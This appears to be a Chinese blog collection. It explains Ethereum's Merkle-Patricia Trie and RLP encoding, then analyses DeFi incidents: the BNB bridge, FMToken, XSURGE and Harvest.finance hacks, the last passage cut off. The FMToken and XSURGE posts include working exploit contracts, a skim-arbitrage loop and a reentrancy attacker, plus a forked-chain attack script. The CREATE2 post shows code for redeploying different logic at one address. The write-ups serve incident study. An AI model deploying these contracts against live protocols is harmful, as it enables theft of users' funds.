以太坊采用的 modified Merkle-Patricia Trie

• Trie：字典树/前缀树
• Merkle：Hash 节点，支持 Hash 验证整个树
• Patricia：Practical Algorithm to Retrieve Information Coded in Alphanumeric 缩写，一种压缩 单一子 节点 路径的变种 trie，也叫 紧凑 trie

数据结构

在 State Trie 中，每一个账户作为一个键值对存储：

• 键（key / path）：账户地址的 Keccak-256 哈希（Secure Trie，state trie/storage trie 采用）
• 值（value）：账户（[nonce, balance, storageRoot, codeHash] 的 RLP 编码）

trie 结构中，每一个节点都会存储一个键的 16 进制字符，也就是半字节（nibble / 4 bit）

MPT 中有 4 种节点类型：

1. NULL（空字符串）
2. branch（分支节点）
   • 长度 17 数组：空/子节点hash *16 + 值
   • 前 16 位每一个都代表一个前缀 16 进制数
   • 例：[[NULL, NULL, child_hash, NULL, NULL, other_child_hash, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL], value]
3. extension（扩展节点）
   • 对压缩共享前缀键的优化扩展
   • 长度 2 数组：共享前缀(键) + 子节点 hash
   • 例：[shared_prefix, child_hash]
4. leaf（叶子节点）
   • 长度 2 数组：剩余键 + 值，路径的末端
   • 例：[key-end, value]

*MPT root 根节点可以是任意节点类型，但一般如果数据足够大足够多，根节点一般是分支节点类型

奇偶校验前缀

Secure Trie

状态树（State Trie）和存储树（Storage Trie）都会采用安全模式（secure），即键采用 keccak256(address)

主要是出于安全性和性能平衡的考虑：

• 防御 DoS ：地址外部可控，可精心构造一系列具有共同前缀的地址，会导致 MPT 树形成一条极深的路径，增加查找、插入和计算 root 的 CPU 开销 和磁盘 I/O 开销
• 路径均匀分布：通过 keccak256，让原本可能有规律的地址随机分布，确保树结构更加平衡，深度合理

该设计在以太坊黄皮书中有直接的设计和定义，状态树 $\sigma$ ：

验证

和传统标准 Merkle 的差别在于验证顺序，传统 Merkle 证明是从下到上（从叶子到根，leaf to root），而 MPT 证明是上到下（从根到叶子，root to leaf）

以太坊 MPT

每个区块的区块头中包含 3 个 MPT 树根：

• stateRoot：世界状态
• transactionsRoot：该区块中所有交易的
• receiptsRoot：该区块中所有交易事件的

State Trie（状态树 / 世界状态）

键值构成

• path / key：keccak256(ethereumAddress)
• value：rlp(ethereumAccount)
  • ethereumAccount：[nonce, balance, storageRoot, codeHash]

账户状态

账户状态由 4 部分组成

• nonce：如果账户是外部账户，则该属性代表从账户地址发送的交易数量；如果账户是合约账户，则该属性代表账户创建的合约数量
• balance：该地址账户余额
• storageRoot：该账户的存储数据的 MPT 树根，非智能合约账户默认为空
• codeHash：该账户的 EVM 代码哈希值。对于合约账户，这是经过哈希处理并存储为codeHash的代码；对于外部账户，codeHash字段是空字符串的哈希值

根据以太坊黄皮书，账户若是一个智能合约账户，则必定包含了 存储树（storageRoot）和代码存储（codeHash）

每个账户都处在树的叶子节点上，树的组织则按照排列顺序进行串联哈希，最终层层哈希得出世界状态。当更改某单一账户时，则会引发它所在分支的上层哈希值的更改，直到影响到根节点的哈希值，根节点的哈希值称为状态树根（stateRoot），这个值将存入区块头部。世界状态随着区块链的前进而不断变化，状态树的值也不断变更。

storage trie（存储树）

存放该账户下的智能合约的存储数据状态

Transaction Trie（交易树）

键值构成

• path / key：rlp(transactionIndex)
• value：legacyTx ? rlp(tx) : TxType | encode(tx)

每个区块都有一棵独立的交易树，这棵树包含了当前区块打包的所有交易，交易的排列顺序由矿工在打包时唯一确定

若同一个块中含了同一个账户发出的数笔交易，矿工按照发送账户的 nonce 值顺序安排该账户的交易。矿工在排序完成后，调用自身的以太坊虚拟机执行交易指令来变更世界状态中对应的账户的状态，收取相应的交易费

Receipts Trie（收据树）

键值构成

• path/key：rlp(transactionIndex)
• value：legacyReceipt ? rlp([status, cumulativeGasUsed, logsBloom, logs]) : TxType | ReceiptPayload

每个区块都有一棵独立的收据树，收据树中包含了执行交易期间产生的相应的收据

如果一笔交易是一次智能合约的执行，则在以太坊虚拟机执行的过程中会产生程序自定义的日志，日志是智能合约自定义的格式。日志（Log）包含了日志产生方的地址、日志话题（topics）、日志数据（可选）

参考

LamdaClass Blog: An introduction to Merkle Patricia Trie

Ethereum Developers Docs: Merkle Patricia Tire

• RLP (Recursive Length Prefix)，ETH1.0、执行层采用的编码方式
• SSZ (Simple Serialize)，ETH2.0、共识层采用的编码方式

RLP 适合简单、浅层的数据结构

SSZ 适合大型、结构化、可验证的树形数据

RLP编码

简介

递归长度前缀，RLP (Recursive Length Prefix) ，一种以太坊中采用的编码方式，作用是对对象进行序列化和反序列化

定义

RLP 编码只支持两种基本类型：

1. 字符串（string）
   • 本质为字节组 (bytes)
2. 列表（list）
   • RLP 基本类型的有序集合
   • list 可以包含 string
   • list 可以包含 list (递归)

前缀空间划分：

RLP 使用 1个字节 (8 bit) 来区分类型与长度信息

[0x00, 0x7f]     单字节(值即编码)    // "c"[0x80, 0xbf]     字符串    [0x80, 0xb7] 短字符串(长度0-55)  // "cat"    [0xb8, 0xbf] 长字符串(长度>=56)[0xc0, 0xff]     列表    [0xc0, 0xf7] 短列表(0-55)       // ["cat", "dog"]    [0xf8, 0xff] 长列表(>=56)

RLP 编码规则如下：

// ========================================================// 1.对于 [0x00, 0x7f]范围内的单个字节, RLP编码内容就是字节内容本身// bytedata"c"b'c'63// ========================================================// 2.如果是一个 0-55 字节长的字符串，则 RLP 编码由 0x80 加上字符串长度，再拼接上字符串二进制内容// 0x80+len, bytedata"cat"b'\x83cat'83 63 61 74// ========================================================// 3.如果字符串超过 55 字节，则由 0xb7 加上字符串长度字节数，再拼接上字符串长度编码，再拼接上字符串二进制内容// 0xb7+len(len), len, bytedata"0"*1024b'\xb9' + b'\x04\x00' + b'00'*1024b9 0400 303030303030...// ========================================================// 4.如果列表所有项组合长度是 0-55 字节内，则由 0xc0 加上所有项的 RLP 编码串联长度字节，再拼接所有项的 RLP 编码// 0xc0+len(rlp_all)["cat", "dog"]b'\xc8\x83cat\x83dog'c8 83636174 83646f67["cat", "dog", ["ab","cd"], "ef"]b'\xd2 \x83cat\x83dog \xc6\x82ab\x82cd \x82ef'// ========================================================// 5.如果列表内容超过 55 字节，则由 0xf7 加上所有项的 RLP 编码串联长度字节，再拼接所有项的 RLP 编码// 0xf7+len(len(rlp_all)), len, bytedata...

测试 python 规范 & 深入理解编码设计

以太坊对于 RLP 编码的规范在：ethereum-rlp

相比 go-ethereum 的实现，python 规范的实现更加简洁易懂

理解代码后，可自己实现写个小demo（这里只写了 encode 编码对字符串和列表类型的部分）

#coding: utf-8"""@Author: 0xhunya@Date: 2025-12-22@Description: test poc for ethereum-rlp"""TEST_CASES = {    "TEST_INT_SHORT": 64,    "TEST_INT_LONG": 256,    "TEST_STRING_NULL": "",    "TEST_STRING_ONE": "c",    "TEST_STRING_SHORT": "cat",    "TEST_STRING_LONG": "0"*1024,    "TEST_LIST_NULL": [],    "TEST_LIST_SHORT": ["cat", "dog"],    "TEST_LIST_SHORT_NEST": ["cat", "dog", ["ab", "cd"], "ef"]}def encodeBytes(raw):    len_raw = len(raw)    if len_raw == 1:        return raw    elif len_raw < 56:        return bytes([0x80+len_raw]) + raw    else:        len_len_val = (len_raw.bit_length() + 7) // 8  # 字节长度        return (            bytes([0xb7 + len_len_val]) +            len_raw.to_bytes(len_len_val) +            raw        )def encodeList(raw):    join_enc_raw = b"".join(encode(i) for i in raw)    len_join_enc_raw = len(join_enc_raw)    print(len_join_enc_raw)    if len_join_enc_raw < 56:        return bytes([0xc0 + len_join_enc_raw]) + join_enc_raw    else:        len_len_join_enc_raw = (len_join_enc_raw.bit_length() + 7) // 8  # 字节长度        return (            bytes([0xf7 + len_len_join_enc_raw]) +            len_join_enc_raw.to_bytes(len_len_join_enc_raw) +            join_enc_raw        )def encode(data):    if type(data) == int:        return encodeBytes(data.to_bytes((data.bit_length() + 7) // 8))    elif type(data) == str:        return encodeBytes(data.encode())    elif type(data) == list:        return encodeList(data)    else:        return "Not Support Now"def main():    for testType,testData in TEST_CASES.items():        print("\n==================== testing %s ====================" % testType)        print("data: %s" % testData)        res = encode(testData)        print("encode: %s" % res)main()

可以通过将自己实现的函数逻辑替换 src/rlp.py 中的对应函数进行测试，看是否能通过测试规范

测试 encodeList 函数，替换 encode_sequence

测试 encodeBytes 函数，替换 encode_bytes

发现有 15 项测试未通过，仔细对比函数逻辑可以发现，在对单字符的判断里缺少了校验该单字符需在 128(0x80) 以内

完善校验 and row[0] < 128 ，再跑一遍，测试通过

细节思考 & 深入理解

为什么会有 < 0x80 的校验？为什么超过 128 的整型数值也会需要额外前缀标识？

因为 RLP 编码设计中基本类型只有 字符串 (string) 和 列表 (list)，对于整型并没有单独的规则，那么设计上对于整型的编码是当作字符串来处理的（转为大端序字节串）

我们回到前缀空间的划分部分，可以看到最前面的 0x00-0x80 部分是直接表示的单字符值本身，这也对应标准的 ASCII 码表，可以完美覆盖。那么如果整型超过 128 (0x80) 就超过了单字节可表示的范围了，就需要增加前缀来表示，以确保编码的唯一性

这样的话，那不是整型和字符串的编码结果几乎是重合的，也就是每一个字符串都能找到一个整型使他们的编码结果完全一致

比如 c 和 99，编码结果都是 0x63、cat 和 6513012 ，编码结果都是 0x83636174

这也还是回到了 RLP 编码的设计初衷，是一个无类型的序列化格式，不管字符串还是整型，都是针对数据本质的字节序列进行编码，RLP 编码的唯一性是指同一个“字节序列”只有一个合法的 RLP 编码形式，而解码时需要考虑这些数据的类型信息的是上层协议需要做的，0x63 如果需要解码为字符串就是 c，如果需要解码为整型就是 99

go-ethereum 实现

go-ethereum 中的 RLP 实现在 go-ethereum/rlp 目录下 ，相比 python 规范多了非常多的工程优化

核心实现集中在 encode.go 、 encodeBuffer.go 、 decode.go 中

先看 encode.go 文件，首先全局定义了最特殊的两个数据 空字符串 和 空列表 的编码结果，然后定义了 Encoder 接口类型

Encoder 接口主要用于 包外其他模块实现接口 和 包内通过反射实现对各种不同数据类型进行高效率编码

接着是 Encode 、 EncodeToBytes 、 EncodeToReader 三个主要编码入口函数

主要逻辑都是通过 getEncBuffer() 函数从 encBufferPool 编码缓存池中获取 encBuffer 编码缓存数据，再调用它的 encode 函数进行编码，最后按需输出到 io.Writer 、[]byte 、 io.Reader ，所以编码的核心逻辑是在 encBuffer.go 中的 encBuffer 数据结构中，encode.go 文件中剩下的内容就主要是些反射类型处理和辅助工具类的函数

那么我们来看 encBuffer.go 文件，首先定义了 encBuffer 结构体和 encBufferPool 缓存池

encBuffer 结构体拆分了这样几个字段

/// file: go-ethereum/rlp/encbuffer.gotype encBuffer struct {    str     []byte     // 字符串数据, 包括除列表头以外的所有内容    lheads  []listhead // 列表头数组,包含所有的列表头    lhsize  int        // 所有编码后的列表头长度总和    sizebuf [9]byte    // 整型编码的辅助缓存,主要存放 前缀头(1 byte) + 长度的长度(8 byte)}

其中 listhead 在 encode.go 中定义

encBuffer 会通过 listhead 记录编码数据中每一个 list 的起始位置和总长度 ，这样通过一次遍历就能完成数据的编码

采用 sync.Pool 缓存池以及 encBuffer 的结构设计，均是为了提高编码效率的工程优化，因为 geth 执行层的底层数据结构都会采用 RLP 编码，调用频率极高

紧接着是 makeBytes 、 copyTo 、 writeTo 函数

前面能看到在 encode.go 文件中的 EncodeToBytes 函数最后就是调用 encBuffer 的 makeBytes 函数输出 []byte，这里可以看到 makeBytes 函数是调用的 copyTo 函数，而 writeTo 函数和 copyTo 逻辑一致，只是最后输出写入 io.Writer，而 copyTo 输出返回 []byte

copyTo 和 writeTo 的核心逻辑都是：

1. 遍历 buf.lheads 列表头数组，先写入第一个 list 前的字符串数据编码（如果有）；
2. 记录位置，循环写入列表头数组中记录的每个列表数据编码；
3. 写入最后一个 list 后的字符串数据编码（如果有）

再后面就是 encBuffer 的编码核心

• 编码单一数据类型写入的一系列 write 类函数

• 处理 list 类型写入的 list 和 listEnd 函数

• 通过反射获取类型相应 writer 写入的 encode 函数

• 编码字符串前缀头的 encodeStringHeader 函数

这里就能看到熟悉的 RLP 编码规则

总结

ethereum 的 RLP 编码，在 python 规范中，通过函数递归实现，简洁高效地展示了 RLP 编码的规则；而在 go-ethereum 中，则通过 encBuffer 缓存结构实现，以类似流式编码的方式实现了高效率高性能的 RLP 编码工程。

最近 Tornado Cash 遭到 DAO 治理攻击，攻击者通过 CREATE/CREATE2 技巧，先构造了看似正常的带自毁功能的提案合约，在提案通过后自毁，然后在同一地址上重新部署了新的恶意代码合约，从而实现治理攻击

于是记录学习下 CREATE/CREATE2 组合技巧

CREATE & CREATE2

简介

CREATE 和 CREATE2 是以太坊创建合约的两种操作码，在 geth 源码中可以看到该两种方式

go-ethereum/core/vm/evm.go:

实际具体的计算逻辑实现在 crypto 包中

go-ethereum/crypto/crypto.go:

CREATE 是最早最常见的创建合约的操作码

CREATE2 则是以太坊在 Istanbul 硬分叉升级中引入的新操作码，采用了新的方式计算合约地址

从 geth 源码中可以看出 CREATE 和 CREATE2 的算法伪代码如下

# CREATEkeccak256(rlp.encode(address, nonce))[12:]# CREATE2keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:]

可以看出，CREATE 操作码通过地址与地址账户的 nonce 计算而来，在没有引入 CREATE2 之前，新合约地址可预知但不可控，因为 nonce 值始终会变化。而 CREATE2 则不再依赖 nonce ，通过地址、salt 与新合约的创建字节码计算而来，只要 salt 和创建字节码不变，新合约的地址就不会变，那么只要在创建的合约自毁后，保持参数不变，就能实现在同样的地址上重新部署

Solidity 官方文档中也提到这一点

虽然不同合约代码会有不同的创建字节码，但在构造函数中，可以通过获取外部数据的状态来实现部署不同的字节码，这样就能在保持创建字节码不变的情况下生成不同逻辑的合约，实现在同一合约地址重新部署不同逻辑的代码

组合trick

单 CREATE2 操作码已经能实现在同一合约地址上更新代码，但为了保持创建字节码不变，通过在构造函数中获取外部数据状态来改变自身字节码逻辑仍然存在一些实现难度和限制，于是有了组合利用 CREATE 的技巧

先通过 CREATE2 创建带自毁函数的中间合约，该中间合约中通过 CREATE 创建出同样带自毁函数的最终实现合约，在销毁中间合约和最终实现合约之后重新部署中间合约，中间合约通过读取外部数据状态在同一地址上重新创建不同代码的最终实现合约

CREATE 操作码由地址和 nonce 计算而来，而当合约执行 selfdestrut 自毁后，其 nonce 将被置 0 ，那么合约自毁前后通过 CREATE 创建的合约地址将保持不变，同时又能很灵活的重新部署新合约代码

代码实践

测试代码如下，EOA 地址部署 Controller 合约，Controller 合约的 deploy 函数中通过 CREATE2 创建 Deployer 中间合约，Deployer 合约构造函数中根据 Controller 合约 flag 数据状态通过 CREATE 选择性创建 Test1 或 Test2 合约

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;contract Controller {    uint256 public flag;    address public deployerAddr;    function deploy(uint256 _flag) public {        flag = _flag;        address addr;        bytes memory bytecode = type(Deployer).creationCode;        assembly {            addr := create2(0, add(bytecode, 0x20), mload(bytecode), 0x77)        }        deployerAddr = addr;    }}contract Deployer {    address public testAddr;    constructor() {        uint256 flag = IController(msg.sender).flag();        if (flag == 0) {            testAddr = address(new Test1());        } else {            testAddr = address(new Test2());        }    }    function kill() external {        ITest(testAddr).kill();        selfdestruct(payable(msg.sender));    }}contract Test1 {    string public data = "test1";    function kill() external {        selfdestruct(payable(msg.sender));    }}contract Test2 {    string public data = "test2";    function kill() external {        selfdestruct(payable(msg.sender));    }}interface IController {    function flag() external view returns(uint256);}interface ITest {    function data() external view returns(string memory);    function kill() external;}

部署 Controller 合约，调用 deploy(0)，最终创建的合约为 Test1

调用 Deployer 合约的 kill 函数后，再次调用 deploy(1)，可以看到相同合约地址上已经重新部署为 Test2

参考

https://twitter.com/yajinzhou/status/1660310706644721664

北京时间 2022 年 10 月 7 日，BNB Chain 跨链桥遭遇黑客攻击，额外增发盗走了约 200 万枚 BNB，价值 5.66 亿美元

新旧链

币安有两条链：

• 币安链，BC（Binance Chain）；尚未开源，代码架构采用了 Tendermint
• 币安智能链，BSC（Binance Smart Chain）；兼容 EVM，代码架构沿用 Ethereum

ps：币安官方于 2022 年 2 月 15 宣布合并老链与新链（生态合并统一名称，非物理合并），并更名为 BNB Chain

跨链

• BSC relayer，拉取 BC 块头和跨链数据包
• Oracle relayer，拉取 BSC 跨链数据包，针对 BC 的预言进行声明

攻击分析

基本信息

• Hacker：0x489A8756C18C0b8B24EC2a2b9FF3D4d447F79BEc
• Token Hub：0x0000000000000000000000000000000000001004
• Relayer Hub：0x0000000000000000000000000000000000001006
• Cross Chain：0x0000000000000000000000000000000000002000
• Hack tx1：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b
• Hack tx2：0x05356fd06ce56a9ec5b4eaf9c075abd740cae4c21eab1676440ab5cd2fe5c57a

攻击流程

通过 Relayer Hub 合约缴纳 100 BNB 注册成为 relayer
tx:0xe1fe5fef26e93e6389910545099303e4fee774427d9e628d2aab80f1b53396d6

注册成为 relayer 之后，才可调用跨链桥的 handlePackage 函数进行跨链操作

调用跨链桥合约 handlePackage 函数，增发 100W BNB

tx1：0xebf83628ba893d35b496121fb8201666b8e09f3cbadf0e269162baa72efe3b8b

handlePackage 函数中会使用 MerkleProof.validateMerkelProof() 方法校验 proof 数据的合法性

内联汇编调用 0x65 地址的预编译合约

https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts.go#L81

https://github.com/bnb-chain/bsc/blob/f3fd0f8bffb3b57a5a5d3f3699617e6afb757b33/core/vm/contracts_lightclient.go#L128

https://github.com/bnb-chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/vm/lightclient/types.go#L212

https://github.com/bnb-chain/bsc/blob/cb131fabe5fb9570180e7030a293a984f17c2446/core/vm/lightclient/multistoreproof.go#L131

至此，BSC 公链代码部分流程分析完毕，最终流程指向 cosmos 的 IAVL 库，后续跟进调用流程较冗长，可跳至结尾

IAVL 库流程跟进

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_iavl_value.go#L87

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L178

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L186

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_range.go#L213

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_path.go#L30

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof_path.go#L70

https://github.com/cosmos/iavl/blob/6c1300ae54a9bb851e77dbcc4ba4b21832279027/proof.go#L64

攻击者构造的数据中始终使用了相同的高度 110217401

该高度的原始跨链数据包 proof

https://bscscan.com/tx/0x79575ff791606ef2c7d69f430d1fee1c25ef8d56275da94e6ac49c9c4cc5f433

后续资金

90 万枚 BNB 抵押在 Venus 协议，借出 6250 万 BUSD、5000 万 USDT、3500 万 USDC

跨链到 Ethereum、 FTM、Arbitrum、Avalanche、Polygon、Optimism

后续处理及修复

BSC 官方

10 月 7 日，攻击发生后第一时间升级 BSC 源码，添加黑名单

10 月 11 日，代码层修复漏洞，添加判断

Cosmos

10 月 9 日，修复漏洞，添加判断

随后的 commit 添加了判断，当 Left 和 Right 都不为空时抛出错误

总结&影响

黑客质押 100 BNB 成为 Relayer 之后，通过伪造 IAVT Tree 的 proof ，由于 BSC 跨链桥采用的 Cosmos 的 IAVL 库，该库的验证存在缺陷，proof 可填充恶意数据，导致通过了该恶意数据的验证，增发了大量 BNB。

• 第三方开源库的安全性
• 底层架构复杂，问题难以发现
• 舆论影响，中心化

10 月 24 日，CZ 表示在执法部门帮助下，缩小了攻击者身份范围，被盗资金能冻结 80%~90%，大约 1 亿美金无法追回，实际损失要小得多

参考链接

https://foresightnews.pro/article/detail/15703
https://www.8btc.com/article/6781172
https://mp.weixin.qq.com/s?__biz=MzU2NzUxMTM0Nw==&mid=2247500129&idx=1&sn=dd1255a5f432c1f237ca927f8ad81e8c&chksm=fc9e913dcbe9182be865517d65a81ccfb4824aa406803eb4a1ff0ed2970fb577d55c579afda6&scene=21#wechat_redirect

Feminist Metaverse 项目的 FMToken 合约于 2022 年 5月 18 日遭到攻击

很久没更新博客了，这里写个简单的分析和复现

分析

基础信息

攻击tx（以第一笔攻击为例） ：

0xfdc90e060004dd902204673831dce466dcf7e8519a79ccf76b90cd6c1c8b320d

攻击者：0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50

攻击合约：0x0B8d752252694623766DfB161e1944F233Bca10F

FMToken：0x843528746F073638C9e18253ee6078613C0df0f1

流程

调用攻击合约0x70123a24函数启动攻击，发起 500 次 FM 的转账

随后调用 FM/BUSD 交易对的skim函数套利离场

漏洞原理

漏洞核心在于 FM 代币合约的转账逻辑中，若 FM 代币合约大于numTokensSellToAddToLiquidity，则会触发进一步逻辑将其所有 FM 代币转至 FM/BUSD 交易对

而 UniswapV2Pair 类型的交易对合约一直存在的一种 skim 套利，就依赖于合约中reserves存储量和实际余额量不一致，这里不展开讲

由于这里的代码只进行了余额转移，交易对合约中的存储量未更新，就产生了套利空间

复现

用 hardhat 做一个复现，fork 区块高度 17909280

攻击合约：

//SPDX-License-Identifier: MITpragma solidity ^0.7.0;interface IERC20 {    function name() external view returns (string memory);    function symbol() external view returns (string memory);    function decimals() external view returns (uint8);    function totalSupply() external view returns (uint256);    function balanceOf(address account) external view returns (uint256);    function transfer(address to, uint256 amount) external returns (bool);    function allowance(address owner, address spender) external view returns (uint256);    function approve(address spender, uint256 amount) external returns (bool);    function transferFrom(address from, address to, uint256 amount) external returns (bool);    event Transfer(address indexed from, address indexed to, uint256 value);    event Approval(address indexed owner, address indexed spender, uint256 value);}interface IUniswapV2Pair {    event Approval(        address indexed owner,        address indexed spender,        uint256 value    );    event Burn(        address indexed sender,        uint256 amount0,        uint256 amount1,        address indexed to    );    event Mint(address indexed sender, uint256 amount0, uint256 amount1);    event Swap(        address indexed sender,        uint256 amount0In,        uint256 amount1In,        uint256 amount0Out,        uint256 amount1Out,        address indexed to    );    event Sync(uint112 reserve0, uint112 reserve1);    event Transfer(address indexed from, address indexed to, uint256 value);    function DOMAIN_SEPARATOR() external view returns (bytes32);    function MINIMUM_LIQUIDITY() external view returns (uint256);    function PERMIT_TYPEHASH() external view returns (bytes32);    function allowance(address, address) external view returns (uint256);    function approve(address spender, uint256 value) external returns (bool);    function balanceOf(address) external view returns (uint256);    function burn(address to) external returns (uint256 amount0, uint256 amount1);    function decimals() external view returns (uint8);    function factory() external view returns (address);    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);    function initialize(address _token0, address _token1) external;    function kLast() external view returns (uint256);    function mint(address to) external returns (uint256 liquidity);    function name() external view returns (string memory);    function nonces(address) external view returns (uint256);    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;    function price0CumulativeLast() external view returns (uint256);    function price1CumulativeLast() external view returns (uint256);    function skim(address to) external;    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;    function symbol() external view returns (string memory);    function sync() external;    function token0() external view returns (address);    function token1() external view returns (address);    function totalSupply() external view returns (uint256);    function transfer(address to, uint256 value) external returns (bool);    function transferFrom(address from, address to, uint256 value) external returns (bool);}contract FMExploit {    address private immutable owner;    address fm;    address fm_busd_pair;    modifier onlyOwner {        require(msg.sender == owner);        _;    }    constructor() {        owner = msg.sender;        fm = 0x843528746F073638C9e18253ee6078613C0df0f1;        fm_busd_pair = 0x6F5E184673a13BDf3eDED4AB236958887bc850C1;    }    function start() external onlyOwner {        IERC20(fm).balanceOf(msg.sender);        for (uint i; i < 500; i++) {            IERC20(fm).transfer(msg.sender, 100000);        }        IUniswapV2Pair(fm_busd_pair).skim(msg.sender);    }    function fmBalance() public view returns(uint256) {        return IERC20(fm).balanceOf(msg.sender);    }}

攻击脚本：

const hre = require("hardhat");async function main() {    await hre.network.provider.request({        method: "hardhat_impersonateAccount",        params: ["0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50"],    });    const exploit = await (await hre.ethers.getContractFactory("FMExploit")).deploy();    console.log("Exploiter deployed to: ",exploit.address);    const hacker = await hre.ethers.getSigner("0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50");    const fm = await ethers.getContractAt("IERC20", "0x843528746F073638C9e18253ee6078613C0df0f1");    await fm.connect(hacker).transfer(exploit.address, hre.ethers.utils.parseUnits("100", 18));    const fmBefore = await exploit.fmBalance();    console.log("Before Exploit, FM:", fmBefore.toString());    await exploit.start();    const fmAfter = await exploit.fmBalance();    console.log("After Exploit, FM:", fmAfter.toString());}main();

攻击复现：

BSC 链的 DeFi 协议 XSURGE 遭到攻击，攻击过程比较有意思，分析记录下

分析

基础信息

攻击tx：0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2

攻击合约：0x1514AAA4dCF56c4Aa90da6a4ed19118E6800dc46

SurgeToken：0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21

攻击流程

这里有个小细节，代币转移流程中的顺序是按照事件先后顺序来显示的，而重入之后的买操作引起的事件会在卖操作引起的事件之前，所以在流程中看到的每一个单独的重入攻击中是 SURGE 的买入发生在卖出之前

漏洞原理

漏洞点在于 SurgeToken 合约中的sell()函数，其中对调用者msg.sender的 BNB 转账采用的call()函数，并且在转账之后才更新代币总量_totalSupply，是典型的重入漏洞场景

虽然sell()函数使用了nonReentrant修饰防止了重入，但purchase()函数并没有。重入转回 BNB 给合约，触发fallback函数调用purchase()，由于_totalSupply尚未减去卖出量，而导致可买入相较正常更多的 SURGE 代币

复现

价格分析

sell()函数卖出过程中，输入tokenAmount与输出amountBNB的关系：

purchase()函数买入过程中，输入bnbAmount与输出tokensToSend的关系：

在重入过程中，sell()函数卖出后获得的 BNB 通过重入打回 SurgeToken 合约传入purchase()函数

故令sell()函数的输出$amountBNB$​与purchase()函数的输入$bnbAmount$​相等，可得到整个利用流程中输入与输出的关系：

若要实现套利，则需要输出大于输入，据此建立不等式：

化简得：

也就是说，重入套利过程中调用sell()卖出的代币量必须在代币总量的12.383%以上

复现演示

部署 SurgeToken 合约，为方便调试，将其中mint()函数可见性改为public，并为构造函数增加payable修饰，在部署时传入$10^{15}$ wei

部署攻击合约，代码如下：

// SPDX-License-Identifier: GPL-3.0pragma solidity ^0.6.0;interface Victim {    function sell(uint256) external returns (bool);}contract test {    Victim victim;    event LOG(bool);    constructor(address v) public {        victim = Victim(v);    }    function Attack(uint256 n) public {        victim.sell(n);    }    function balance() public view returns (uint256) {        return address(this).balance;    }    receive() external payable {        address(victim).call{value:msg.value}("");    }}

SurgeToken合约初始化的代币总量为$10^9$，根据前面推导出的结论，为攻击合约铸币 200000000（攻击成本），则攻击合约拥有大约Surge代币总量16%的代币

攻击合约调用Attack()函数攻击，查看攻击合约的代币余额已变为209549307，获利9549307

总结

典型的重入漏洞场景，教科书级的案例

2020年10月16日，DeFi项目Harvest.finance遭受黑客攻击，黑客利用闪电贷，套利2400万美元，涉及金额巨大，轰动一时

本文旨在通过全盘梳理攻击流程和代码细节，一窥闪电贷套利的秘密

全盘梳理

基础信息

攻击者地址：0xF224ab004461540778a914ea397c589b677E27bb

攻击合约地址：0xc6028a9Fa486F52efd2B95B949AC630d287CE0aF

首次攻击tx：0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877

VaultProxy(fUSDC)：0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE

CRVStrategyStableMainnet：0xD55aDA00494D96CE1029C201425249F9dFD216cc

VaultYCRV：0xF2B223Eb3d2B382Ead8D85f3c1b7eF87c1D35f3A

CRVStrategyYCRVMainnet：0x2427DA81376A0C0a0c654089a951887242D67C92

convertor：0xfCA4416d9dEF20aC5b6Da8b8b322b6559770eFbF

*为方便起见，后面提到的地址均只用地址前4位代表

交易始末

从tx0x35f8中的代币转移记录中可以大致看出事件经过

详细的合约调用过程可通过以太坊交易分析平台载入交易hash进行分析

流程分析大致如上，事件概括起来即是攻击者0xf224部署了攻击合约0xc602，然后一系列闪电贷攻击均在攻击合约的0xfdb57542方法中进行，其中核心流程就是通过Uniswap的Flash Swap进行闪电贷，先获得大量USDT和USDC为后续攻击做准备，然后重复执行如下动作：

1. Curve ySwap中进行USDT=>USDC的巨额兑换（巨额兑换造成y池中USDC价格上涨）
2. USDC质押存入VaultProxy fUSDC池（USDC价格上涨，铸造出较平常更多的fUSDC）
3. Curve ySwap进行USDC=>USDT回兑（1步骤的逆操作，USDC价格恢复）
4. VaultProxy fUSDC池中赎回USDC（USDC价格回落，赎回出较平常更多的USDC）

最后归还闪电贷并将获利的USDC兑换为ETH提取

代码细节

攻击合约未开源，暂时不作分析。可先从关键的VaultProxy fUSDC池合约0xf035的deposit函数入手，分析fUSDC的铸造量是如何计算的

从质押函数中可以看出fUSDC的铸造量是根据fUSDC总量和USDC策略的总投资量的比例来决定的

underlyingBalanceWithInvestment函数实现如下：

fUSDC池代理合约0xf035会进一步调用CRVStrategyStableMainnet策略合约0xD55a去进一步查询已投资的底层资产 USDC 的量

来到稳定币策略合约0xD55a，investedUnderlyingBalance函数实现如下：

这里的调用就稍微复杂一点了，从ycrvVault合约0xF2B2获取shares与price，将乘积传入underlyingValueFromYCrv函数，结果与该合约 USDC 的量的和作为最后的函数返回值

我们先来看 ycrvVault 合约0xF2B2

该金库合约0xf2b2本身继承了ERC20，具有代币属性，从构造函数中可以看出代币代表 fyToken

也就是说上面获取的shares即是策略合约拥有的 fyToken 量

然后是price，来看getPricePerFullShare函数：

